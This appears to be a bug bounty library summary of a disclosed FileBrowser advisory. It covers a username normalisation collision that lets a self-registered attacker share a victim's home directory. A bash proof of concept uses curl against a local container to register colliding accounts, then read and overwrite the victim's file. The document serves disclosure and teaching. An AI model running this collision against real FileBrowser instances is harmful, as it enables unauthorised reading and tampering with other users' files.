# File Browser: Colliding username normalization gives two users the same home directory

FileBrowser's cleanUsername() maps distinct usernames to one home directory, letting a self-registered attacker read and overwrite a victim's files.

- Payout: Research
- Severity: high
- Program: FileBrowser
- Found by: je-lv
- Disclosed: 2026-07-20
- CVE: CVE-2026-62685
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7rc3-g7h6-22m7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7rc3-g7h6-22m7
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** Go file server web app signup endpoint and per-user scope directory
**Root cause:** cleanUsername() is many-to-one (strips '..', maps all non-[0-9A-Za-z@_.-] chars to '-'), and the derived Scope is never checked for uniqueness, so distinct raw usernames resolve to the same home directory.
**Steps:**
1. Enable `Signup=true` and `CreateUserDir=true` via `PUT /api/settings` as admin.
2. Register victim `teamone-x` via `POST /api/signup`.
3. Register attacker `teamone/x` via `POST /api/signup`; cleanUsername() normalizes it to `teamone-x`.
4. Log in as both; both scopes resolve to `/users/teamone-x`.
5. Victim writes `secretA.txt` via `POST /api/resources/secretA.txt?override=true`.
6. Attacker reads it via `GET /api/raw/secretA.txt` with their own `X-Auth` token, then overwrites it with `POST /api/resources/secretA.txt?override=true`.
**How found:** Code reading of settings/dir.go: noticed MakeUserDir builds scope from cleanUsername() output, that the rewrite is lossy/many-to-one, and that no scope-uniqueness check exists in signupHandler.
**Exploitation:** Attacker self-registers a username whose cleaned form collides with a known victim's (e.g. `alice/`, `alice.`, `al..ice` for `alice`), then uses normal file API calls with their own session to read, overwrite, rename or delete the victim's files in the shared home directory.
**Insight:** When a security boundary (scope, tenant, bucket) is derived from a user-controlled string via a sanitizer, check whether the sanitizer is injective; any lossy normalization plus a missing uniqueness check on the derived value yields a shared-resource collision.

## Proof of concept (copied exactly from the original report)

**Bash PoC registering colliding usernames and reading/overwriting victim file**

```
#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090; PW='CollidePw12345!'

#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
  | python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
  | curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-

#3. Register the victim teamone-x
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}"

#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}"

#5. Log in as both accounts (TA = victim, TB = attacker)
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}")
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}")

#6. Victim A writes a private file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null

#7. Attacker B reads A's file (both resolve to the single shared home directory)
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"

#8. Attacker B overwrites the file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null

#9. Victim A reads back the tampered content
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA"
```

